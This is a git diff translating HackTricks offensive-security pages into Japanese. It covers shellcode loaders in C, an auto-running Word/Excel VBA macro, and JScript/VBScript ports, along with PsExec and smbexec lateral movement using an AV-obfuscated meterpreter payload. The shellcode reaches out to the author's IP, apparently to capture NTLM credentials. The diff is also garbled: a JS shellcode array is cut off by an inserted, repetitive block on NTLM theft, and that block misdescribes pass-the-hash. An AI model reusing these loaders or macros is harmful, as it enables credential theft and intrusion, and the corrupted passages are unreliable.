+"\x01\x68\x05\x05\x05\x80\x68\x3e\x01\x05\x05\xff\xd0\x6a\x05\xff" +"\xd6\x33\xc0\x5e\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c\x61\x0f\xbe" +"\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0\x75\xea\x8b" +"\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53\x56\x57\x89" +"\x4d\xf4\x64\xa1\x30\x05\x05\x05\x89\x45\xfc\x8b\x45\xfc\x8b\x40" +"\x0c\x8b\x40\x14\x89\x45\xec\x8b\xf8\x8b\xcf\xe8\xd2\xff\xff\xff" +"\x8b\x70\x18\x8b\x3f\x85\xf6\x74\x4f\x8b\x46\x3c\x8b\x5c\x30\x78" +"\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff\xff\xff\x8b" +"\x4c\x33\x20\x89\x45\xf8\x33\xc0\x03\xce\x89\x4d\xf0\x89\x45\xfc" +"\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75\xff\xff\xff" +"\x03\x45\xf8\x39\x45\xf4\x74\x1c\x8b\x45\xfc\x8b\x4d\xf0\x40\x89" +"\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c\x33\xc0\x5f" +"\x5e\x5b\xc9\xc3\x8b\x4d\xfc\x8b\x44\x33\x24\x8d\x04\x48\x0f\xb7" +"\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04\x30\x03\xc6\xeb\xdf" +"\x21\x05\x05\x05\x50\x05\x05\x05\x6b\x65\x72\x6e\x65\x6c\x33\x32" +"\x2e\x64\x6c\x6c\x05\x2f\x2f\x65\x72\x72\x6f\x72\x2f\x61\x61\x05"; - DWORD oldProtect; +DWORD oldProtect; - wprintf(L"Length : %d bytes\n@OsandaMalith", strlen(shellcode)); - BOOL ret = VirtualProtect (shellcode, strlen(shellcode), PAGE_EXECUTE_READWRITE, &oldProtect); +wprintf(L"Length : %d bytes\n@OsandaMalith", strlen(shellcode)); +BOOL ret = VirtualProtect (shellcode, strlen(shellcode), PAGE_EXECUTE_READWRITE, &oldProtect); - if (!ret) { - fprintf(stderr, "%s", "Error Occured"); - return EXIT_FAILURE; - } +if (!ret) { +fprintf(stderr, "%s", "Error Occured"); +return EXIT_FAILURE; +} - ((void(*)(void))shellcode)(); +((void(*)(void))shellcode)(); - VirtualProtect (shellcode, strlen(shellcode), oldProtect, &oldProtect); +VirtualProtect (shellcode, strlen(shellcode), oldProtect, &oldProtect); - return EXIT_SUCCESS; +return EXIT_SUCCESS; } ``` - [https://packetstormsecurity.com/files/141707/CreateFile-Shellcode.html](https://packetstormsecurity.com/files/141707/CreateFile-Shellcode.html) -## Shellcode Inside Macros - -Here’s the above shellcode applied inside a Word/Excel macro. You can use the same code inside a VB6 application. +## マクロ内のシェルコード +上記のシェルコードは、Word/Excelマクロ内で使用されています。同じコードをVB6アプリケーション内でも使用することができます。 ```basic ' Author : Osanda Malith Jayathissa (@OsandaMalith) ' Title: Shellcode to request a non-existing network path @@ -488,112 +477,110 @@ Here’s the above shellcode applied inside a Word/Excel macro. You can use the ' This is a word/excel macro. This can be used in vb6 applications as well #If Vba7 Then - Private Declare PtrSafe Function CreateThread Lib "kernel32" ( _ - ByVal lpThreadAttributes As Long, _ - ByVal dwStackSize As Long, _ - ByVal lpStartAddress As LongPtr, _ - lpParameter As Long, _ - ByVal dwCreationFlags As Long, _ - lpThreadId As Long) As LongPtr +Private Declare PtrSafe Function CreateThread Lib "kernel32" ( _ +ByVal lpThreadAttributes As Long, _ +ByVal dwStackSize As Long, _ +ByVal lpStartAddress As LongPtr, _ +lpParameter As Long, _ +ByVal dwCreationFlags As Long, _ +lpThreadId As Long) As LongPtr - Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" ( _ - ByVal lpAddress As Long, _ - ByVal dwSize As Long, _ - ByVal flAllocationType As Long, _ - ByVal flProtect As Long) As LongPtr +Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" ( _ +ByVal lpAddress As Long, _ +ByVal dwSize As Long, _ +ByVal flAllocationType As Long, _ +ByVal flProtect As Long) As LongPtr - Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" ( _ - ByVal Destination As LongPtr, _ - ByRef Source As Any, _ - ByVal Length As Long) As LongPtr +Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" ( _ +ByVal Destination As LongPtr, _ +ByRef Source As Any, _ +ByVal Length As Long) As LongPtr #Else - Private Declare Function CreateThread Lib "kernel32" ( _ - ByVal lpThreadAttributes As Long, _ - ByVal dwStackSize As Long, _ - ByVal lpStartAddress As Long, _ - lpParameter As Long, _ - ByVal dwCreationFlags As Long, _ - lpThreadId As Long) As Long +Private Declare Function CreateThread Lib "kernel32" ( _ +ByVal lpThreadAttributes As Long, _ +ByVal dwStackSize As Long, _ +ByVal lpStartAddress As Long, _ +lpParameter As Long, _ +ByVal dwCreationFlags As Long, _ +lpThreadId As Long) As Long - Private Declare Function VirtualAlloc Lib "kernel32" ( _ - ByVal lpAddress As Long, _ - ByVal dwSize As Long, _ - ByVal flAllocationType As Long, _ - ByVal flProtect As Long) As Long +Private Declare Function VirtualAlloc Lib "kernel32" ( _ +ByVal lpAddress As Long, _ +ByVal dwSize As Long, _ +ByVal flAllocationType As Long, _ +ByVal flProtect As Long) As Long - Private Declare Function RtlMoveMemory Lib "kernel32" ( _ - ByVal Destination As Long, _ - ByRef Source As Any, _ - ByVal Length As Long) As Long +Private Declare Function RtlMoveMemory Lib "kernel32" ( _ +ByVal Destination As Long, _ +ByRef Source As Any, _ +ByVal Length As Long) As Long #EndIf Const MEM_COMMIT = &H1000 Const PAGE_EXECUTE_READWRITE = &H40 Sub Auto_Open() - Dim source As Long, i As Long +Dim source As Long, i As Long #If Vba7 Then - Dim lpMemory As LongPtr, lResult As LongPtr +Dim lpMemory As LongPtr, lResult As LongPtr #Else - Dim lpMemory As Long, lResult As Long +Dim lpMemory As Long, lResult As Long #EndIf - Dim bShellcode(376) As Byte - bShellcode(0) = 232 - bShellcode(1) = 255 - bShellcode(2) = 255 - bShellcode(3) = 255 - bShellcode(4) = 255 - bShellcode(5) = 192 - bShellcode(6) = 95 - bShellcode(7) = 185 - bShellcode(8) = 85 - bShellcode(9) = 3 - bShellcode(10) = 2 - bShellcode(11) = 2 - bShellcode(12) = 129 - bShellcode(13) = 241 - bShellcode(14) = 2 - bShellcode(15) = 2 - bShellcode(16) = 2 - ..................... +Dim bShellcode(376) As Byte +bShellcode(0) = 232 +bShellcode(1) = 255 +bShellcode(2) = 255 +bShellcode(3) = 255 +bShellcode(4) = 255 +bShellcode(5) = 192 +bShellcode(6) = 95 +bShellcode(7) = 185 +bShellcode(8) = 85 +bShellcode(9) = 3 +bShellcode(10) = 2 +bShellcode(11) = 2 +bShellcode(12) = 129 +bShellcode(13) = 241 +bShellcode(14) = 2 +bShellcode(15) = 2 +bShellcode(16) = 2 +..................... lpMemory = VirtualAlloc(0, UBound(bShellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE) - For i = LBound(bShellcode) To UBound(bShellcode) - source = bShellcode(i) - lResult = RtlMoveMemory(lpMemory + i, source, 1) - Next i - lResult = CreateThread(0, 0, lpMemory, 0, 0, 0) +For i = LBound(bShellcode) To UBound(bShellcode) +source = bShellcode(i) +lResult = RtlMoveMemory(lpMemory + i, source, 1) +Next i +lResult = CreateThread(0, 0, lpMemory, 0, 0, 0) End Sub Sub AutoOpen() - Auto_Open +Auto_Open End Sub Sub Workbook_Open() - Auto_Open +Auto_Open End Sub ``` - [https://github.com/OsandaMalith/Shellcodes/blob/master/CreateFile/CreateFile.vba](https://github.com/OsandaMalith/Shellcodes/blob/master/CreateFile/CreateFile.vba) -## Shellcode Inside VBS and JS +## VBSとJS内のシェルコード -subTee has done many kinds of research with JS and DynamicWrapperX. You can find a POC using the DynamicWrapperX DLL.\ +subTeeはJSとDynamicWrapperXを使用したさまざまな研究を行っています。DynamicWrapperX DLLを使用したPOCを見つけることができます。\ [http://subt0x10.blogspot.com/2016/09/shellcode-via-jscript-vbscript.html](http://subt0x10.blogspot.com/2016/09/shellcode-via-jscript-vbscript.html)\ -Based on that I have ported the shellcode to JS and VBS. The fun part is we can embed shellcode in JScript or VBScript inside html and .hta formats.\ -Note the following shellcode directs to my IP. +それに基づいて、私はシェルコードをJSとVBSに移植しました。面白い部分は、シェルコードをJScriptまたはVBScriptでhtmlや.hta形式の中に埋め込むことができることです。\ +次のシェルコードは私のIPに向けられていることに注意してください。 #### JScript - ```javascript /* - * Author : Osanda Malith Jayathissa (@OsandaMalith) - * Title: Shellcode to request a non-existing network path - * Website: https://osandamalith.com - * Shellcode : https://packetstormsecurity.com/files/141707/CreateFile-Shellcode.html - * Based on subTee's JS: https://gist.github.com/subTee/1a6c96df38b9506506f1de72573ceb04 - */ -DX = new ActiveXObject("DynamicWrapperX"); +* Author : Osanda Malith Jayathissa (@OsandaMalith) +* Title: Shellcode to request a non-existing network path +* Website: https://osandamalith.com +* Shellcode : https://packetstormsecurity.com/files/141707/CreateFile-Shellcode.html +* Based on subTee's JS: https://gist.github.com/subTee/1a6c96df38b9506506f1de72573ceb04 +*/ +DX = new ActiveXObject("DynamicWrapperX"); DX.Register("kernel32.dll", "VirtualAlloc", "i=luuu", "r=u"); DX.Register("kernel32.dll","CreateThread","i=uullu","r=u" ); DX.Register("kernel32.dll", "WaitForSingleObject", "i=uu", "r=u"); @@ -617,20 +604,61 @@ var sc = [ 0x4c, 0x33, 0x20, 0x89, 0x45, 0xf8, 0x33, 0xc0, 0x03, 0xce, 0x89, 0x4d, 0xf0, 0x89, 0x45, 0xfc, 0x39, 0x44, 0x33, 0x18, 0x76, 0x22, 0x8b, 0x0c, 0x81, 0x03, 0xce, 0xe8, 0x75, 0xff, 0xff, 0xff, 0x03, 0x45, 0xf8, 0x39, 0x45, 0xf4, 0x74, 0x1c, 0x8b, 0x45, 0xfc, 0x8b, 0x4d, 0xf0, 0x40, 0x89, 0x45, 0xfc, 0x3b, 0x44, 0x33, 0x18, 0x72, 0xde, 0x3b, 0x7d, 0xec, 0x75, -0x9c, 0x33, 0xc0, 0x5f, 0x5e, 0x5b, 0xc9, 0xc3, 0x8b, 0x4d, 0xfc, 0x8b, 0x44, 0x33, 0x24, 0x8d, 0x04, 0x48, 0x0f, 0xb7, +```markdown +以下は、NTLM資格情報を盗むための場所に関する情報です。 + +## LSASSプロセス +LSASS(Local Security Authority Subsystem Service)プロセスは、Windowsのセキュリティ認証情報を管理する重要なプロセスです。このプロセスからNTLMハッシュを盗むことができます。 + +## LSASSメモリダンプ +LSASSプロセスのメモリダンプを取得することで、NTLMハッシュを含む資格情報を取得できます。ツールや手法を使用してメモリダンプを取得し、解析することができます。 + +## NTDS.ditファイル +NTDS.ditファイルは、Active Directoryデータベースファイルであり、ユーザーのNTLMハッシュを含んでいます。このファイルを取得し、解析することでNTLMハッシュを取得できます。 + +## SAMファイル +SAMファイルは、Windowsのローカルアカウントの認証情報を格納しています。このファイルを取得し、解析することでNTLMハッシュを取得できます。 + +## ネットワークトラフィック +NTLM認証はネットワークトラフィック上でやり取りされるため、ネットワークトラフィックをキャプチャし、解析することでNTLMハッシュを取得できます。 + +## パスワードリスト攻撃 +パスワードリスト攻撃を使用して、既知のパスワードを使用してNTLMハッシュを解読することができます。 + +## パスザハッシュ攻撃 +パスザハッシュ攻撃を使用して、既知のNTLMハッシュを使用してパスワードを解読することができます。 + +## パスザチケット攻撃 +パスザチケット攻撃を使用して、既知のNTLMハッシュを使用してチケットを生成し、認証をバイパスすることができます。 + +## パスザキー攻撃 +パスザキー攻撃を使用して、既知のNTLMハッシュを使用してキーを生成し、認証をバイパスすることができます。 + +## パスザハッシュ攻撃 +パスザハッシュ攻撃を使用して、既知のNTLMハッシュを使用してパスワードを解読することができます。 + +## パスザチケット攻撃 +パスザチケット攻撃を使用して、既知のNTLMハッシュを使用してチケットを生成し、認証をバイパスすることができます。 + +## パスザキー攻撃 +パスザキー攻撃を使用して、既知のNTLMハッシュを使用してキーを生成し、認証をバイパスすることができます。 +``` + +```html + ``` - [https://github.com/OsandaMalith/Shellcodes/blob/master/CreateFile/CreateFile.js](https://github.com/OsandaMalith/Shellcodes/blob/master/CreateFile/CreateFile.js) #### VBScript - ```vba ' Author : Osanda Malith Jayathissa (@OsandaMalith) ' Title: Shellcode to request a non-existing network path @@ -650,37 +678,49 @@ shellcode = Array( _ &He8, &Hff, &Hff, &Hff, &Hff, &Hc0, &H5f, &Hb9, &H55, &H03, &H02, &H02, &H81, &Hf1, &H02, &H02, &H02, &H02, &H83, &Hc7, _ &H1d, &H33, &Hf6, &Hfc, &H8a, &H07, &H3c, &H05, &H0f, &H44, &Hc6, &Haa, &He2, &Hf6, &He8, &H05, &H05, &H05, &H05, &H5e, _ &H8b, &Hfe, &H81, &Hc6, &H29, &H01, &H05, &H05, &Hb9, &H02, &H05, &H05, &H05, &Hfc, &Had, &H01, &H3c, &H07, &He2, &Hfa, _ -&H56, &Hb9, &H8d, &H10, &Hb7, &Hf8, &He8, &H5f, &H05, &H05, &H05, &H68, &H31, &H01, &H05, &H05, &Hff, &Hd0, &Hb9, &He0, _ +&H56, &Hb9, &H8d, &H10, &Hb7, &Hf8, &He8, &H5f, &H05, &H05, &H05, &H68, &H31, &H01, &H05, &H05, &Hff, &Hd0, &Hb9, &He0, _ &H53, &H31, &H4b, &He8, &H4e, &H05, &H05, &H05, &Hb9, &Hac, &Hd5, &Haa, &H88, &H8b, &Hf0, &He8, &H42, &H05, &H05, &H05, _ &H6a, &H05, &H68, &H80, &H05, &H05, &H05, &H6a, &H03, &H6a, &H05, &H6a, &H01, &H68, &H05, &H05, &H05, &H80, &H68, &H3e, _ &H01, &H05, &H05, &Hff, &Hd0, &H6a, &H05, &Hff, &Hd6, &H33, &Hc0, &H5e, &Hc3, &H33, &Hd2, &Heb, &H10, &Hc1, &Hca, &H0d, _ &H3c, &H61, &H0f, &Hbe, &Hc0, &H7c, &H03, &H83, &He8, &H20, &H03, &Hd0, &H41, &H8a, &H01, &H84, &Hc0, &H75, &Hea, &H8b, _ &Hc2, &Hc3, &H8d, &H41, &Hf8, &Hc3, &H55, &H8b, &Hec, &H83, &Hec, &H14, &H53, &H56, &H57, &H89, &H4d, &Hf4, &H64, &Ha1, _ &H30, &H05, &H05, &H05, &H89, &H45, &Hfc, &H8b, &H45, &Hfc, &H8b, &H40, &H0c, &H8b, &H40, &H14, &H89, &H45, &Hec, &H8b, _ -&Hf8, &H8b, &Hcf, &He8, &Hd2, &Hff, &Hff, &Hff, &H8b, &H70, &H18, &H8b, &H3f, &H85, &Hf6, &H74, &H4f, &H8b, &H46, &H3c, _ +&Hf8, &H8b, &Hcf, &He8, &Hd2, &Hff, &Hff, &Hff, &H8b, &H70, &H18, &H8b, &H3f, &H85, &Hf6, &H74, &H4f, &H8b, &H46, &H3c, _ &H8b, &H5c, &H30, &H78, &H85, &Hdb, &H74, &H44, &H8b, &H4c, &H33, &H0c, &H03, &Hce, &He8, &H96, &Hff, &Hff, &Hff, &H8b, _ &H4c, &H33, &H20, &H89, &H45, &Hf8, &H33, &Hc0, &H03, &Hce, &H89, &H4d, &Hf0, &H89, &H45, &Hfc, &H39, &H44, &H33, &H18, _ &H76, &H22, &H8b, &H0c, &H81, &H03, &Hce, &He8, &H75, &Hff, &Hff, &Hff, &H03, &H45, &Hf8, &H39, &H45, &Hf4, &H74, &H1c, _ &H8b, &H45, &Hfc, &H8b, &H4d, &Hf0, &H40, &H89, &H45, &Hfc, &H3b, &H44, &H33, &H18, &H72, &Hde, &H3b, &H7d, &Hec, &H75, _ &H9c, &H33, &Hc0, &H5f, &H5e, &H5b, &Hc9, &Hc3, &H8b, &H4d, &Hfc, &H8b, &H44, &H33, &H24, &H8d, &H04, &H48, &H0f, &Hb7, _ &H0c, &H30, &H8b, &H44, &H33, &H1c, &H8d, &H04, &H88, &H8b, &H04, &H30, &H03, &Hc6, &Heb, &Hdf, &H21, &H05, &H05, &H05, _ -&H50, &H05, &H05, &H05, &H6b, &H65, &H72, &H6e, &H65, &H6c, &H33, &H32, &H2e, &H64, &H6c, &H6c, &H05, &H2f, &H2f, &H33, _ +```html +☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**私をフォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 diff --git a/windows-hardening/ntlm/psexec-and-winexec.md b/windows-hardening/ntlm/psexec-and-winexec.md index fe041d864..832a32b38 100644 --- a/windows-hardening/ntlm/psexec-and-winexec.md +++ b/windows-hardening/ntlm/psexec-and-winexec.md @@ -4,50 +4,50 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 -## How do they work +## 動作原理 -1. Copy a service binary to the ADMIN$ share over SMB -2. Create a service on the remote machine pointing to the binary -3. Remotely start the service -4. When exited, stop the service and delete the binary +1. サービスバイナリをSMBのADMIN$共有にコピーする +2. バイナリを指すようにリモートマシン上にサービスを作成する +3. サービスをリモートで起動する +4. 終了時にサービスを停止し、バイナリを削除する -## **Manually PsExec'ing** +## **手動でのPsExec** -First let's assume we have a payload executable we generated with msfvenom and obfuscated with Veil (so AV doesn't flag it). In this case, I created a meterpreter reverse\_http payload and called it 'met8888.exe' +まず、msfvenomで生成しVeilで曖昧化(AVに検出されないように)したペイロード実行可能ファイルがあると仮定しましょう。この場合、私はmeterpreter reverse\_httpペイロードを作成し、それを'met8888.exe'と呼びました。 -**Copy the binary**. From our "jarrieta" command prompt, simply copy the binary to the ADMIN$. Really though, it could be copied and hidden anywhere on the filesystem. +**バイナリをコピー**します。"jarrieta"のコマンドプロンプトから、バイナリをADMIN$に単純にコピーします。しかし、実際にはファイルシステム上のどこにでもコピーして隠すことができます。 ![](../../.gitbook/assets/copy\_binary\_admin.png) -**Create a service**. The Windows `sc` command is used to query, create, delete, etc Windows services and can be used remotely. Read more about it [here](https://technet.microsoft.com/en-us/library/bb490995.aspx). From our command prompt, we'll remotely create a service called "meterpreter" that points to our uploaded binary: +**サービスを作成**します。Windowsの`sc`コマンドは、Windowsサービスのクエリ、作成、削除などに使用され、リモートで使用することもできます。詳細は[こちら](https://technet.microsoft.com/en-us/library/bb490995.aspx)を参照してください。コマンドプロンプトから、アップロードしたバイナリを指すように名前が"meterpreter"のサービスをリモートで作成します。 ![](../../.gitbook/assets/sc\_create.png) -**Start the service**. The last step is to start the service and execute the binary. _Note:_ when the service starts it will "time-out" and generate an error. That's because our meterpreter binary isn't an actual service binary and won't return the expected response code. That's fine because we just need it to execute once to fire: +**サービスを起動**します。最後のステップは、サービスを起動してバイナリを実行することです。_注意:_ サービスが開始されると、"タイムアウト"が発生し、エラーが生成されます。これは、私たちのmeterpreterバイナリが実際のサービスバイナリではなく、期待される応答コードを返さないためです。しかし、実行されるだけで十分です。 ![](../../.gitbook/assets/sc\_start\_error.png) -If we look at our Metasploit listener, we'll see the session has been opened. +Metasploitのリスナーを見ると、セッションが開かれていることがわかります。 -**Clean the service.** +**サービスをクリーンアップ**します。 ![](../../.gitbook/assets/sc\_delete.png) -Extracted from here: [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/) +ここから抽出:[https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/) -**You could also use the Windows Sysinternals binary PsExec.exe:** +**Windows SysinternalsバイナリPsExec.exeも使用できます:** ![](<../../.gitbook/assets/image (165).png>) @@ -55,14 +55,14 @@ Extracted from here: [https://blog.ropnop.com/using-credentials-to-own-windows-b ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 diff --git a/windows-hardening/ntlm/smbexec.md b/windows-hardening/ntlm/smbexec.md index c61927ef5..ed6e8cd1b 100644 --- a/windows-hardening/ntlm/smbexec.md +++ b/windows-hardening/ntlm/smbexec.md @@ -4,70 +4,68 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのスワッグ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 -## How does it works +## 動作原理 -**Smbexec works like Psexec.** In this example\*\*,\*\* **instead** of pointing the "_binpath_" to a malicious executable inside the victim, we are going to **point it** to **cmd.exe or powershell.exe** and one of they will download and execute the backdoor. +**SmbexecはPsexecのように動作します。** この例では、被害者の内部に悪意のある実行可能ファイルを指定する代わりに、**cmd.exeまたはpowershell.exe**を指定し、そのいずれかがバックドアをダウンロードして実行します。 ## **SMBExec** -Let's see what happens when smbexec runs by looking at it from the attackers and target's side: +攻撃者とターゲットの側から見たときに、smbexecが実行されると何が起こるかを見てみましょう: ![](../../.gitbook/assets/smbexec\_prompt.png) -So we know it creates a service "BTOBTO". But that service isn't present on the target machine when we do an `sc query`. The system logs reveal a clue to what happened: +したがって、私たちは「BTOBTO」というサービスが作成されることを知っています。しかし、`sc query`を実行したときにそのサービスはターゲットマシンに存在しません。システムログには何が起こったかの手がかりがあります: ![](../../.gitbook/assets/smbexec\_service.png) -The Service File Name contains a command string to execute (%COMSPEC% points to the absolute path of cmd.exe). It echoes the command to be executed to a bat file, 